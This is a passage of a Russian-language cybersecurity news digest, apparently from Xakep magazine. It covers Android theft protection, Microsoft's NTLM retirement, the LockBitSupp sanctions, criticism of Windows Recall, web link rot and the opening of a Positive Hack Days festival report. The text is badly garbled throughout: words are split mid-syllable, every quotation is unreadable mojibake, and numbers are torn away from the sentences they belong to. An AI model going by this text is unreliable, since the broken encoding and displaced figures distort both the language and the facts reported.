бло киру ет устрой ство сра зу пос ле того, как вор отклю чит его от сети,
или если сис тема заметит мно го неудач ных попыток аутен тифика ции.

Так же Google анон сирова ла фун кцию Remote Lock, которая поможет
людям, чьи устрой ства на базе Android уже были укра дены. Remote Lock поз- 
воля ет уда лен но заб локиро вать смар тфон или план шет, исполь зуя толь ко
номер телефо на и прос тую защит ную задачу.

«
»

«Ýòî äàñò âàì âðå ìÿ íà âîñ ñòà íîâ ëåíèå ó÷åò íûõ äàí íûõ, à òàê æå äîñ- 
òóï ê äîïîë íèòåëü íûì ïîëåç íûì îïöè ÿì Find My Device, âêëþ ÷àÿ
îòïðàâ êó êîìàí äû ïîë íîãî ñáðî ñà ê çàâîä ñêèì íàñ òðîé êàì, ÷òî áû
ïîë íîñòüþ î÷èñ òèòü óñòðîé ñòâî», — îáú ÿñíÿ åò âèöå�ïðå çèäåíò Google
Ñþçàí íà Ôðåé (Suzanne Frey).

Ожи дает ся, что фун кции Theft Detection Lock, Offline Device Lock и Remote
Lock будут дос тупны на устрой ствах под управле нием Android 10 или выше
через обновле ние сер висов Google Play, которое появит ся поз же в текущем
году.

Кро ме того, новый Android 15 так же получит усо вер шенс тво ван ную защиту
от сбро са до завод ских нас тро ек, что сде лает про дажу укра ден ных устрой ств
очень слож ной задачей, пос коль ку в про цес се их нас трой ки пот ребу ется
ввес ти учет ные дан ные от акка унта Google.

«
»

«Áëà ãîäà ðÿ ýòî ìó îáíîâëå íèþ, åñëè âîð ïðè íóäè òåëü íî ñáðî ñèò íàñ- 
òðîé êè óêðà äåí íîãî óñòðîé ñòâà, îí íå ñìî æåò íàñ òðî èòü åãî çàíîâî,
íå çíàÿ ó÷åò íûõ äàí íûõ óñòðîé ñòâà èëè àêêà óíòà Google. Òàêèì îáðà- 
çîì, óêðà äåí íîå óñòðîé ñòâî ñòà íåò íåï ðèãîä íûì äëÿ ïðî äàæè, ÷òî
óìåíü øèò ïðèâ ëåêàòåëü íîñòü êðà æè òåëåôî íîâ», — äîáàâ ëÿåò Ôðåé.

Так же обновлен ный Android пот ребу ет вво да PIN-кода, пароля или биомет- 
ричес кой аутен тифика ции при попыт ке получить дос туп или изме нить важ ные
нас трой ки акка унта Google и устрой ства из недове рен ного мес та (нап ример,
при попыт ке изме нения PIN-кода, дос тупа к Passkeys или отклю чения защиты
от кра жи).

Ана логич но для отклю чения фун кции Find My Device или прод ления
тайм-аута экра на устрой ства тоже пот ребу ется ввес ти PIN-код, пароль
или исполь зовать какую-либо фор му биомет ричес кой аутен тифика ции.
Это дол жно добавить допол нитель ный уро вень защиты, приз ванный
помешать зло умыш ленни кам, укравшим устрой ство, сох ранить его «раз бло- 
киро ван ным или не отсле жива емым в интерне те».

Ожи дает ся, что в новой вер сии Android этой осенью так же появят ся прос- 
транс тва Private Space, которые мож но будет заб локиро вать с помощью PIN-
кода и пре дот вра тить дос туп воров к кон фиден циаль ным дан ным, хра нящим- 
ся в опре делен ных при ложе ниях (нап ример, к медицин ской и финан совой
информа ции).

 ЗАПРОСОВ НА УДАЛЕНИЕ КОНТЕНТА25 000

Ком пания Google опуб ликова ла еже год ный отчет о проз рачнос ти за вто рую полови- 
ну 2023 года. В общей слож ности ком пания получи ла  зап роса по все му миру в пери од
с июля по декабрь прош лого года. Из них  зап росов на уда ление кон тента исхо дили
из Рос сии.

43 554
25  925

 зап росов пос тупило от Рос комнад зора, еще  были рас поряже ниями суда, нап равлен- 
ными в адрес Google, и  — рас поряже ния суда в адрес треть ей сто роны.
25 607 16

290

Сре ди при чин зап росов лидиро вали наци ональ ная безопас ность (  зап роса), автор ские
пра ва ( ) и кон тент, свя зан ный с нар котика ми ( ).

10 704
7471 1691

ЗАВЕРШАЕТСЯ
ПОДДЕРЖКА NTLM
Ком пания Microsoft под твер дила свои пла ны отка зать ся от NT LAN Manager
(NTLM). В Windows 11 отказ зап ланиро ван уже на вто рую полови ну текуще го
года. Так же ком пания анон сирова ла ряд новых защит ных мер, нап равлен ных
на уси ление безопас ности ОС.

На пом ним, что Microsoft впер вые  о сво ем решении отка зать ся
от NTLM в поль зу Kerberos в октябре 2023 года.

за яви ла

Де ло в том, что NTLM пред став ляет собой соз данное еще в девянос тых
семей ство про токо лов, которые исполь зуют ся для аутен тифика ции уда лен ных
поль зовате лей и обес печения безопас ности сеан сов. Kerberos — про токол
аутен тифика ции, мно го лет назад при шед ший на сме ну NTLM, — теперь явля- 
ется про токо лом аутен тифика ции по умол чанию во всех вер сиях Windows
новее Windows 2000. Одна ко NTLM тоже при меня ется по сей день, и, если
по какой-либо при чине работа Kerberos невоз можна, вмес то него будет
исполь зован NTLM.

При этом раз личные NTLM-ата ки — , с которой
Microsoft ста рает ся , но NTLM по-преж нему час то исполь зует ся
на сер верах Windows, что поз воля ет хакерам успешно экс плу ати ровать такие
уяз вимос ти, как , , .

боль шая проб лема
бо роть ся

ShadowCoerce PetitPotam RemotePotato0
С 2010 года Microsoft при зыва ет раз работ чиков отка зать ся от NTLM в сво- 

их при ложе ниях и совету ет адми нис тра торам либо отклю чать NTLM вов се,
либо нас тра ивать свои сер веры для бло киров ки атак NTLM relay с помощью
Active Directory Certicate Services (AD CS).

«
»

«Îòêàç îò NTLM áûë áîëü øîé ïðîñü áîé ñî ñòî ðîíû ÈÁ�ñîîá ùåñ òâà,
ïîñ êîëü êó ýòî ïîç âîëèò óñè ëèòü àóòåí òèôèêà öèþ ïîëü çîâàòå ëåé. Îòêàç
îò NTLM çàï ëàíèðî âàí íà âòî ðóþ ïîëîâè íó 2024 ãîäà», — çàÿâè ëè
òåïåðü â êîì ïàíèè.

Сре ди дру гих изме нений в Windows 11 мож но отме тить:
акти вацию защиты  (LSA) по умол чанию для всех
новых пот ребитель ских устрой ств;

• Local Security Authority

исполь зование безопас ности на осно ве вир туали зации ( ) для защиты
Windows Hello;

• VBS

сис тему , защища ющую поль зовате лей от запус ка
недове рен ных или непод писан ных при ложе ний, которую теперь оснастят
ИИ, и он поможет опре делять безопас ность при ложе ний и бло киро вать
неиз вес тные или содер жащие вре донос ное ПО;

• Smart App Control

допол нение к Smart App Control — новое ком плексное решение 
, поз воля ющее раз работ чикам под писывать свои при ложе ния и в

целом упро щающее про цесс под писания.

• Trusted
Signing

В этом месяце Microsoft рас ска зала и о дру гих улуч шени ях в области
безопас ности. Нап ример, , которая приз вана
пре дот вра тить рис ки на слу чай ком про мета ции при ложе ния и соз дать барь ер
меж ду при ложе нием и ОС.

изо ляции при ложе ний Win32

Так же сооб щает ся, что будут огра ниче ны зло упот ребле ния при виле гиями
адми нис тра тора, так как у поль зовате лей ста нут зап рашивать для это го явное
раз решение. Появят ся и  для сто рон них раз работ чиков, пред- 
назна чен ные для соз дания доверен ных сред выпол нения.

VBS-анкла вы

Кро ме того, в будущем режимом печати по умол чанию ста нет Windows
Protected Print Mode (WPP), который был пред став лен в декаб ре 2023 года.
Он будет исполь зовать ся для борь бы с рис ками, которые соз дает при виле- 
гиро ван ный про цесс Spooler, а так же для защиты сте ка печати.

Идея зак люча ется в том, что бы запус кать Print Spooler как огра ничен ную
служ бу и рез ко сни зить его прив лекатель ность для зло умыш ленни ков,
которые  им для получе ния повышен ных при виле гий
в Windows.

за час тую зло упот ребля ют

Так же сооб щает ся, что ком пания перес танет доверять аутен тифика цион- 
ным TLS-сер тифика там сер веров с клю чами RSA менее 2048 бит из-за «прог- 
ресса в вычис литель ной мощ ности и крип тоана лизе».

За вер шает спи сок новых фун кций сис тема 
(ZTDNS), которая приз вана помочь ком мерчес ким кли ентам изо лиро вать
Windows в сво их сетях, огра ничи вая устрой ства под управле нием ОС под клю- 
чени ем толь ко к утвер жден ным адре сам по домен ному име ни.

Zero Trust Domain Name System

ВЕБ-СТРАНИЦЫ ПРОПАДАЮТ ИЗ СЕТИ
Ана лити ки иссле дова тель ско го цен тра Pew Research Center замети ли, что фра за «интернет все
пом нит» не сов сем соот ветс тву ет дей стви тель нос ти. Так, по сос тоянию на октябрь 2023 года

 всех веб-стра ниц, сущес тво вав ших в пери од с 2013 по 2023 год, уже была недос- 
тупна.
чет верть

Око ло  веб-стра ниц, активных в 2013 году, тоже уже не сущес тву ют, а c 2023 года из сети
исчезли поряд ка  веб-стра ниц.

38%
8%

Ис сле дова тели под счи тали, что  новос тных веб-стра ниц содер жат хотя бы одну нерабо- 
тающую ссыл ку, а для пра витель ствен ных сай тов это чис ло оставля ет .

23%
21%

Ху же того, боль ше полови ны ( ) стра ниц Wikipedia так же содер жат хотя бы одну несущес- 
тву ющую ссыл ку. Сум марно око ло  от всех ссы лок в Википе дии более не дос тупны.

54%
11%

Си туация в соци аль ных сетях не луч ше. Так, в соци аль ной сети X (быв ший Twitter) поч ти 
 твит про пада ет через нес коль ко месяцев пос ле пуб ликации.

каж- 
дый пятый

В  слу чаев это свя зано с тем, что учет ная запись, раз местив шая сооб щение, была зак- 
рыта, заб локиро вана или пол ностью уда лена. В осталь ных  слу чаев вла делец акка унта сам
уда ляет свой твит.

60%
40%
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ДЕАНОН
LOCKBITSUPP?
ФБР, Наци ональ ное агентство по борь бе с прес тупностью Великоб ритании
(NCA) и Евро пол опуб ликова ли мас штаб ные обви нения и вве ли сан кции про- 
тив 31-лет него граж данина Рос сии Дмит рия Юрь еви ча Хороше ва. Пра воох-
раните ли утвер жда ют, что имен но он скры вает ся за никами LockBitSupp
и putinkrab, явля ясь адми нис тра тором и раз работ чиком вымога тель ской груп- 
пиров ки LockBit.

Сог ласно обви нитель ному зак лючению Минис терс тва юсти ции США
и сооб щению NCA, Дмит рий Хорошев живет в Вороне же и он лич но «зарабо- 
тал» на вымога тель ских опе раци ях LockBit око ло 100 мил лионов дол ларов
США (при мер но пятая часть всех выкупов, получен ных груп пой).

«
»

«Õîðîøåâ, îí æå LockBitSupp, ïðîö âåòàë â óñëî âèÿõ àíî íèì íîñòè
è äàæå ïðåä ëàãàë íàã ðàäó â ðàç ìåðå 10 ìèë ëèîí íîâ äîë ëàðîâ
ëþáîìó, êòî ñìî æåò ðàñ êðûòü åãî ëè÷ íîñòü. Òåïåðü æå îí ïîä ïàäà åò
ïîä ñàí êöèè â âèäå çàìîðà æèâà íèÿ àêòè âîâ è çàï ðåòà íà ïîåç äêè», —
çàÿâè ëî NCA.

Пред полага ется, что сан кции при ведут к серь езным перебо ям в работе
вымога телей, пос коль ку теперь вып латы выкупов будут нарушать зап реты
влас тей, а зна чит, пос тра дав шие ком пании могут стол кнуть ся с круп ными
штра фами. Нап ример, в прош лом подоб ные меры при води ли к тому, что
некото рые ком пании, ведущие с вымога теля ми перего воры о выкупах, перес- 
тавали работать с груп пиров ками, попав шими под сан кции.

Так же теперь аме рикан ские влас ти пред лага ют воз награж дение в раз- 
мере 10 мил лионов дол ларов за любую информа цию, которая может при вес- 
ти к арес ту или осуж дению LockBitSupp, в рам ках прог раммы Rewards for
Justice.

По информа ции иссле дова телей Vx-Underground, LockBitSupp заявил, что
ФБР «бле фует», пра воох раните ли док сят вов се не его, а он «сочувс тву ет
реаль ному Димону».

« »«Íå ïîíèìàþ, çà÷åì îíè óñòðà èâàþò ýòî ìàëåíü êîå øîó. Îíè ÿâíî
ðàññ òðî åíû òåì, ÷òî ìû ïðî äîë æàåì ðàáîòàòü», — çàÿâèë LockBitSupp.

На пом ним, что в фев рале 2024 года пра воох раните ли про вели 
, в рам ках которой они вывели из строя инфраструк туру LockBit, вклю- 

чая 34 сер вера, где раз мещались сай ты для сли ва дан ных и их зер кала, укра- 
ден ные у жертв фай лы, крип товалют ные кошель ки. Так же сооб щалось, что
влас ти получи ли око ло 1000 клю чей для дешиф рования дан ных, пос ле чего
был  для рас шифров ки и бес плат ного вос ста нов ления
фай лов.

опе рацию
Cronos

вы пущен инс тру мент

Те перь пра воох раните ли заяви ли, что на самом деле в их руках ока залось
более 2500 клю чей и они про дол жают ока зывать помощь жер твам LockBit
в бес плат ном вос ста нов лении дан ных.

Кро ме того, теперь, пос ле изу чения изъ ятых в фев рале дан ных, NCA заяв- 
ляет, что LockBit вымога ла более мил лиар да дол ларов у тысяч ком паний
по все му миру, а Минюст США сооб щил, что Хорошев и его сооб щни ки
получи ли от сво их жертв боль ше 500 мил лионов дол ларов в виде выкупов.

Так, в пери од с июня 2022 года по фев раль 2024 года LockBit совер шила
свы ше 7000 атак (боль ше все го инци ден тов было зафик сирова но в США,
Великоб ритании, Фран ции, Гер мании и Китае).

Груп пиров ка LockBit активна и сегод ня, даже пос ле недав ней опе рации
пра воох раните лей. Так, недав но хакеры обна родо вали на сво ем сай те мно- 
жес тво ста рых и новых дан ных о жер твах. Одна ко NCA утвер жда ет, что опе- 
рация Cronos при вела к мас совому сок ращению количес тва пар тне ров
LockBit и в резуль тате чис ло активных чле нов груп пы сок ратилось
со 194 до 69 человек, пос коль ку хакеры утра тили доверие к сво ему руководс- 
тву.

 ЗАБЛОКИРОВАННЫХ ПРИЛОЖЕНИЙ2,28 ÌÈËËÈÎÍÀ

В 2023 году ком пания Google заб локиро вала  при ложе ний в магази не Google
Play. Обна ружен ные в них наруше ния пра вил мог ли угро жать безопас ности поль зовате лей.

2,28 мил лиона

Так же ком пания выяви ла и заб локиро вала  акка унтов раз работ чиков, которые заг- 
ружали вре донос ное ПО, мошен ничес кие при ложе ния или неод нократ но наруша ли пра вила.

333 тысячи

Для срав нения: в 2022 году Google заб локиро вала око ло  опас ных при ложе ний
и при оста нови ла активность  акка унтов раз работ чиков за гру бые наруше ния.

1,5 мил лиона
173 тысяч

RECALL ХУЖЕ
КЕЙЛОГГЕРА
В этом месяце ком пания Microsoft анон сирова ла новую ИИ-фун кцию
в Windows 11. Фун кция, получив шая наз вание Recall, фик сиру ет всю
активность поль зовате ля компь юте ра, а затем поз воля ет фор мировать отче- 
ты и выпол нять поиск по исто рии за пос ледние три месяца. ИБ-экспер ты наз- 
вали Recall нас тоящим кош маром с точ ки зре ния кон фиден циаль нос ти
и безопас ности.

Recall è Copilot+
Фун кция Recall была  20 мая 2024 года, в рам ках мероп риятия,
пред варя юще го ско рый старт кон ферен ции Microsoft Build 2024.

анон сирова на

В этом году ком пания все цело сос редото чена на искусс твен ном интеллек- 
те и Copilot, поэто му одним из глав ных анон сов мероп риятия ста ли компь- 
юте ры Copilot+ и фун кция Recall, которая будет работать как раз на машинах
Copilot+.

Recall соз дана, что бы помочь «вспом нить» любую информа цию, которую
поль зователь прос матри вал в прош лом, и сде лать ее дос тупной с помощью
прос того поис ка. Так, фун кция дела ет сни мок активно го окна каж дые нес- 
коль ко секунд, записы вая все, что про исхо дит в Windows, будь то прос мотр
сай тов в бра узе ре, обще ние в мес сен дже ре или работа с дру гими при ложе- 
ниями.

При мер работы Recall

По умол чанию дан ные хра нят ся до трех месяцев (ста рые скрин шоты будут
заменять ся новыми), и поль зователь смо жет выбирать, в каких при ложе ниях
мож но делать сним ки. Для работы Recall пот ребу ется HDD или SSD объ емом
не менее 256 Гбайт и как минимум 50 Гбайт сво бод ного мес та.

По лучен ные сним ки будут обра баты вать ся ней рон ным про цес сором
(Neural Processing Unit, NPU) устрой ства и ИИ-моделью, что бы извлечь
со скрин шотов дан ные. Затем информа ция будет сох ранена, и поль зовате ли
Windows смо гут как прос матри вать исто рию скрин шотов, так и искать
по исто рии с помощью зап росов на род ном язы ке. В теории это поз волит
лег ко най ти, к при меру, про читан ное в прош лом месяце пись мо
или посещен ный ког да-то сайт.

Пред ста вите ли Microsoft под чер кну ли, что все соб ранные дан ные шиф- 
руют ся с помощью BitLocker, при вязан ного к учет ной записи поль зовате ля
в Windows, и не переда ются дру гим поль зовате лям на том же устрой стве.

Как уже было упо мяну то выше, Recall будет работать толь ко на компь юте- 
рах Copilot+ (так же встре чает ся написа ние Copilot Plus), которые ком пания
тоже  в этом месяце. Такие устрой ства вско ре будут пред лагать
Dell, Lenovo, Samsung, HP, Acer и Asus. Кро ме того, Microsoft выпус тит два
собс твен ных устрой ства, которые вой дут в линей ку Surface.

пред ста вила

В Microsoft заяви ли, что эти решения спо соб ны выпол нять более 40 TOPS
(трил лионов опе раций в секун ду), будут осна щать ся ней рон ным про цес- 
сором, работать на базе Snapdragon X и Snapdragon X Plus, а так же получат
не менее 16 Гбайт ОЗУ и 256 Гбайт SSD. В даль нейшем таких устрой ств ста- 
нет боль ше бла года ря пар тнерс тву с Intel и AMD (начиная с Lunar Lake и Strix),
а текущие экзем пля ры уже яко бы пре вос ходят MacBook Air на базе M3 поч ти
на 58% по мно гопо точ ной про изво дитель нос ти.

Êðèòèêà
По явле ние Recall выз вало шквал кри тики со сто роны как обыч ных поль- 
зовате лей, так и ИБ-спе циалис тов. Хотя в сво ем анон се Microsoft под черки- 
вает, что Recall раз работа на таким обра зом, что бы все дан ные хра нились
толь ко на устрой стве поль зовате ля в зашиф рован ном виде, мно гие полага ют,
что это соз даст серь езные рис ки для кон фиден циаль нос ти и воз никнет новый
век тор атак, нап равлен ных на кра жу дан ных.

«

»

«Recall — êëþ ÷åâàÿ ÷àñòü òîãî, ÷òî äåëà åò êîìïü þòå ðû Copilot+ îñî- 
áåí íûìè, è Microsoft ñ ñàìîãî íà÷àëà çàëîæè ëà êîí ôèäåí öèàëü íîñòü
â êîí öåïöèþ Recall, — çàÿâ ëÿþò ðàç ðàáîò ÷èêè. — Íà êîìïü þòå ðàõ
Copilot+ ñ ïðî öåñ ñîðîì Snapdragon ñåðèè X âû óâè äèòå çíà ÷îê Recall
íà ïàíåëè çàäà÷ ïîñ ëå ïåð âîé àêòè âàöèè óñòðîé ñòâà. Ñ ïîìîùüþ ýòî- 
ãî çíà÷ êà ìîæ íî îòêðûòü íàñ òðîé êè Recall è âûá ðàòü, êàêèå ñíèì êè
Recall ñîáèðà åò è õðà íèò íà âàøåì óñòðîé ñòâå. Âû ñìî æåòå îãðà- 
íè÷èòü êîëè÷åñ òâî ñîáèðà åìûõ Recall ñíèì êîâ. Íàï ðèìåð, ñìî æåòå
âûá ðàòü îïðå äåëåí íûå ïðè ëîæå íèÿ èëè ñàé òû, ïîñåùåí íûå â ïîä- 
äåðæè âàåìîì áðà óçå ðå, ÷òî áû èñêëþ ÷èòü èõ èç ñâî èõ ñíèì êîâ. Êðî ìå
òîãî, âû ñìî æåòå ïðè îñòà íîâèòü ñîç äàíèå ñíèì êîâ ñ ïîìîùüþ çíà÷ êà
Recall â ñèñ òåìíîì òðåå, î÷èñ òèòü íåêîòî ðûå èëè âñå ñîõ ðàíåí íûå
ñíèì êè, à òàê æå óäà ëèòü âñå ñíèì êè ñî ñâî åãî óñòðîé ñòâà».

Кро ме того, Microsoft заяви ла, что Recall не будет соз давать скрин шоты окон
в режиме InPrivate в Microsoft Edge (и дру гих бра узе рах на базе Chromium),
а так же кон тента, защищен ного DRM. Одна ко в ком пании не уточ нили, будут
ли под держи вать ся при ват ные режимы в дру гих бра узе рах, нап ример,
в Firefox.

Сло вом, Recall дол жна быть «при ват ной, локаль ной и безопас ной» (то есть
о переда че дан ных в обла ко и на сер веры Microsoft речи не идет), не будет
исполь зовать ся для обу чения каких-либо моделей искусс твен ного интеллек- 
та, и поль зователь смо жет «пол ностью кон тро лиро вать ситу ацию».

Сто ит отме тить, что Microsoft уже начала пре дос тавлять более под робную
тех ничес кую информа цию о Recall, нап ример , которые
мож но исполь зовать для отклю чения фун кции в мас шта бах ком пании.

о груп повых полити ках

Од нако все эти обе щания не помог ли успо коить сооб щес тво. Фун кцию
кри тику ют прак тичес ки все, начиная от прос тых поль зовате лей (дос таточ но
почитать ком мента рии к любой пуб ликации о Recall и убе дить ся, что поль- 
зовате ли не доверя ют заяв лени ям Microsoft) , который срав- 
нил анонс Recall с эпи зодом сери ала «Чер ное зер кало» и заявил, что сра зу
же отклю чит эту фун кци ональ ность.

до Ило на Мас ка

Так же Recall уже заин тересо валось бри тан ское агентство по защите дан- 
ных — Управле ние комис сара по информа ции (ICO), которое обра тилось
к Microsoft с зап росом, что бы убе дить ся, что дан ные людей дей стви тель но
будут защище ны дол жным обра зом и не будут исполь зованы самой ком пани- 
ей.

«

»

«Ìû îæè äàåì, ÷òî îðãà íèçà öèè áóäóò ïðîç ðà÷íî èíôîðìè ðîâàòü ñâî èõ
ïîëü çîâàòå ëåé î òîì, êàê èñïîëü çóþò ñÿ èõ äàí íûå, è îáðà áàòû âàòü
ïåð ñîíàëü íûå äàí íûå òîëü êî â òîé ìåðå, â êàêîé ýòî íåîá õîäèìî
äëÿ äîñ òèæåíèÿ êîí êðåò íîé öåëè. Èíäóñ òðèÿ äîë æíà ó÷è òûâàòü âîï- 
ðîñû çàùèòû äàí íûõ ñ ñàìîãî íà÷àëà è òùà òåëü íî îöå íèâàòü è ñìÿã- 
÷àòü ðèñ êè â îòíî øåíèè ïðàâ è ñâî áîä ëþäåé, ïðåæ äå ÷åì âûâîäèòü
ïðî äóê òû íà ðûíîê, — ãîâîðèò ñÿ â çàÿâ ëåíèè ICO. — Ìû íàï ðàâèëè
çàï ðîñ â Microsoft, ÷òî áû ïîíÿòü, êàêèå ìåðû çàùèòû êîí ôèäåí öèàëü- 
íîñ òè ïîëü çîâàòå ëåé áûëè ïðåä ïðè íÿòû».

Но даже если пред ста вить, что Microsoft дей стви тель но не получит дос туп
к дан ным Recall, про дукт все рав но может нес ти серь езные рис ки
для безопас ности и кон фиден циаль нос ти.

К при меру, Microsoft приз наёт, что фун кция не выпол няет модера цию кон- 
тента, то есть будет прос матри вать бук валь но все, что «видит», вклю чая
пароли в пароль ных менед жерах и номера сче тов на бан ков ских сай тах. Дру- 
гой при мер: если поль зователь будет сос тавлять в Word кон фиден циаль ное
сог лашение, будет соз дан скрин шот и это го докумен та.

К тому же, если компь ютер исполь зует ся нес коль кими людь ми сов мес тно,
при дет ся быть вни матель нее к прос матри ваемым фотог рафи ям и видео, пос- 
коль ку они тоже будут записа ны и сох ранены Recall.

Хо тя в нас трой ках поль зователь смо жет зап ретить делать скрин шоты кон- 
крет ных при ложе ний, спе циалис ты опа сают ся, что боль шинс тво людей вооб- 
ще не ста нут раз бирать ся в нас трой ках этой фун кции. В ито ге вся информа- 
ция будет хра нить ся в удоб ном семан тичес ком индексе Windows 11 и будет
дос тупна для поис ка всем, кто име ет дос туп к компь юте ру.

Ху же того, если зло умыш ленни ки или мал варь ском про мети руют устрой- 
ство поль зовате ля, все дан ные Recall, защищен ные BitLocker, будут рас- 
шифро ваны, то есть ста нут дос тупны и для хакера.

Та ким обра зом, ата кующие смо гут поп росту похитить базу дан ных Recall
и выг рузить ее на собс твен ные сер веры для пос леду юще го ана лиза. Затем
получен ная информа ция может исполь зовать ся, нап ример, для вымога тель- 
ства или взло ма учет ных записей жертв, если учет ные дан ные попада ли
в поле зре ния Recall.

Из вес тный ИБ-эксперт Кевин Бомонт (Kevin Beaumont), неод нократ но
выс тупав ший с откро вен ной кри тикой в адрес Microsoft, выразил обес поко- 
енность тем, что новая фун кция соз даст обширные воз можнос ти для атак,
и срав нил Recall «с кей лог гером, встро енным в Windows».

«

»

«Åñëè ïîñ ìîòðåòü íà òî, êàê èñòî ðè÷åñ êè ðàç âèâàëèñü èíôîñòè ëåðû:
îíè ïîñ òåïåí íî ïåðåõî äèëè ê àâòî ìàòè ÷åñ êèì êðà æàì ïàðîëåé áðà- 
óçå ðîâ, õðà íÿùèõ ñÿ ëîêàëü íî, — ïèøåò Áîìîíò. — Èíû ìè ñëî âàìè,
åñëè çëî óìûø ëåííèê ïîëó÷à åò äîñ òóï ê ñèñ òåìå, îí ïîõèùà åò âàæ íûå
áàçû äàí íûõ, õðà íÿùè åñÿ ëîêàëü íî. Õàêåðû ìîãóò ïðîñ òî ýêñ òðà ïîëè- 
ðîâàòü ýòîò ïðî öåññ, ÷òî áû âîðîâàòü åùå è èíôîðìà öèþ, çàïèñàí íóþ
ôóí êöè åé Recall».

Хо тя Бомонт пишет об инфости лерах, проб лема не толь ко в них. Нап ример,
мал варь, которая нацеле на на пред при ятия (вро де TrickBot), порой име ет
модули для кра жи БД Active Directory домена, что бы поз же поис кать там учет- 
ные дан ные. Нич то не помеша ет таким вре доно сам при менить ана логич ный
под ход и начать похищать БД Recall тоже.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Инс тру мент CCTV поз воля ет узнать мес тополо жение поль зовате лей Telegram

Microsoft не собира ется исправ лять проб лему 0x80070643 в Windows

Proton Mail рас крыл дан ные поль зовате ля пра воох раните лям

Экс-сту ден тов МТИ обви нили в хищении 25 мил лионов дол ларов в крип товалю те за 12 секунд

Груп пиров ка Muddling Meerkat исполь зует «Великий китай ский фай рвол» для атак

Apple Wi-Fi Positioning System (WPS) мож но исполь зовать для мас совой слеж ки

Stack Overow банит поль зовате лей, недоволь ных пар тнерс твом ресур са с OpenAI

Ук радены дан ные 49 мил лионов кли ентов Dell

YouTube перема тыва ет видео и отклю чает звук для поль зовате лей бло киров щиков рек ламы

Samsung тре бует от ремон тных мас тер ских делить ся дан ными о кли ентах
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https://xakep.ru/2024/02/27/lockbit-is-back/
https://blogs.microsoft.com/blog/2024/05/20/introducing-copilot-pcs/
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https://xakep.ru/2024/05/13/openai-stack-overflow/
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https://xakep.ru/2024/05/28/samsung-repair-rules/
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Оче ред ной, вто рой, Positive Hack Days про- 
шел в Мос кве, на этот раз в СК «Луж ники»,
и длил ся аж целых четыре дня,
с 23 по 26 мая. Как и в 2023 году, всех, кто
хочет пог рузить ся в мир кибер безопас- 
ности и отлично про вес ти вре мя, жда ли
откры тая и зак рытая час ти фес тиваля.
Четыре дня док ладов, кон курсов, бит вы
Standoff 13, музыки и хороше го нас тро- 
ения — я рас ска жу, как это было.

Ес ли тебя вдруг удив ляет циф ра 2 в наз вании (ведь прош лый PHDays носил
номер 12), то раз гадка прос та: рань ше PHDays про ходил в фор мате форума,
а теперь это нас тоящий кибер фести валь, поэто му к наз ванию добави ли Fest,
а нумера цию начали заново.

ÎÒÊÐÛÒÀß ÇÎÍÀ ÔÅÑÒÈÂÀËß

При были на «Вок зал»

Че тырех днев ное прик лючение под наз вани ем Positive Hack Days Fest 2 в этом
году начина лось прак тичес ки сра зу от цен траль ного вхо да в СК «Луж ники»,
где тебя жда ли кра соч ные инстал ляции «Вок зал» и «Панель ка» — пер вые час- 
ти «Кибер города», который, по замыс лу, находил ся под пол ным кон тро лем
обе зумев шего искусс твен ного интеллек та.

INFO

Сайт фес тиваля: • phdays.com
Прог рамма фес тиваля: день , ,

 и 
• пер вый вто рой

тре тий чет вертый

Всем заин тересо ван ным пред лагалось прой ти квест, устро ив собс твен ное
рас сле дова ние, целью которо го было изу чить информа цию о вся ких сис- 
темах и девай сах и выявить ата ки на них. Так же пред сто яло разоб рать ся,
почему ИИ все-таки не выдер жал накала страс тей и сло мал ся.

А отважных безум цев, спра вив шихся с кибер квес том, в финале жда ла нас- 
тоящая эти чес кая дилем ма, эта кий выбор, под водящий итог всей про делан- 
ной работе.

Доб ро пожало вать!

,  — от этих роликов, кру тив шихся на боль ших экра- 
нах, я сме ялся в голос. С чувс твом юмо ра у орга низа торов все отлично!
Cyber TV Love Found 404

Тра дици онный дефейс бей джа

Пос ле всту питель ных локаций тебе откры вал ся фес тиваль, пол ный раз вле- 
чений для всех воз растов — от самых малень ких до стар шего поколе ния.
Детей на фес тивале было мно го, и их непод дель ный инте рес к про исхо дяще- 
му был оче виден. Родите ли не всег да успе вали вник нуть в окру жающую нас
всех спе цифи ку кибер беза, но молодая кровь рва лась в бой. «У Свал кера»
юная иссле дова тель ница нас той чиво кому-то доз ванива лась по про вод ному
телефо ну, а ее боевая под руга пыталась нас тро ить монитор, про жимая
какие-то сек ретные ком бинации на пуль те от телеви зора. Одоб ряю столь
неп реодо лимое желание осва ивать новые ста рые тех нологии!

Ло кация «У Свал кера»

Мо лодежь изу чает тех нологии прош лого

Клад бище при ложе ний

От дель но хочу упо мянуть работу артистов, которые все четыре дня отра баты- 
вали на 200%. Грим и спе циаль ные кос тюмы, темати чес кие локации
и необыч ные роли, жара, огромное количес тво гос тей фес тиваля — нич то
из это го не пошат нуло их про фес сиона лизм и желание устро ить кра соч ное
шоу. Даже по вечерам, ког да все при лич но утом лялись от про дук тивных дней,
артисты уве рен но и с энер гией про дол жали играть свои роли, неред ко под- 
шучивая над про ходя щими мимо людь ми. Под шутили и надо мной, мне пон- 
равилось! :)

Очень хариз матич ная дама

Тот самый кудес ник, что надо мной под шутил

Ки бер-Кощей собс твен ной пер соной

Я прер вал момент еди нения с при родой это го богаты ря

На сце не «Спут ник» домини ровал трек «Науч поп», целью которо го было
повыше ние кибер гра мот ности, рас ска зы об ИТ и циф ровом искусс тве. Там
же игра ла музыка. В этом году Positive Hack Days подог ревали сра зу нес коль- 
ко кол лекти вов и артистов: незави симая исполни тель ница Эри ка Лун дмо ен,
музыкаль ный кол лектив Levandowskiy & SCHE, стен дап-комик Саша Малой,
ведущий музыкаль ный про ект Рос сии в жан ре гос пел Moscow Gospel Team
и поп-рок-груп па The Hatters. Пуб лика была в вос торге.

Сце на «Спут ник»

Выс тупле ние Levandowskiy & SCHE

Не пода леку от сце ны «Спут ник» были замече ны вла дения чем пиона мира
по шах матной ком позиции, одновре мен но про водя щего нес коль ко пар тий
со все ми жела ющи ми.

Чем пион мира по шах матной ком позиции спра ва, если что

Раз гром ный счет не поз волял усом нить ся в мас терс тве Сер гея Алек сан дро- 
вича — меж дународ ного мас тера по шах матам, мас тера спор та Рос сии
с рей тин гом Эло 2400+ и меж дународ ного грос смей сте ра по рус ским шах- 
матам. По какой-то неведо мой мне при чине его ниг де не упо мяну ли, ни в
прог рамме мероп риятия, ни на сай те фес тиваля. Прос то «шах маты».

Оче вид ное домини рова ние про фес сиональ ного шах матис та

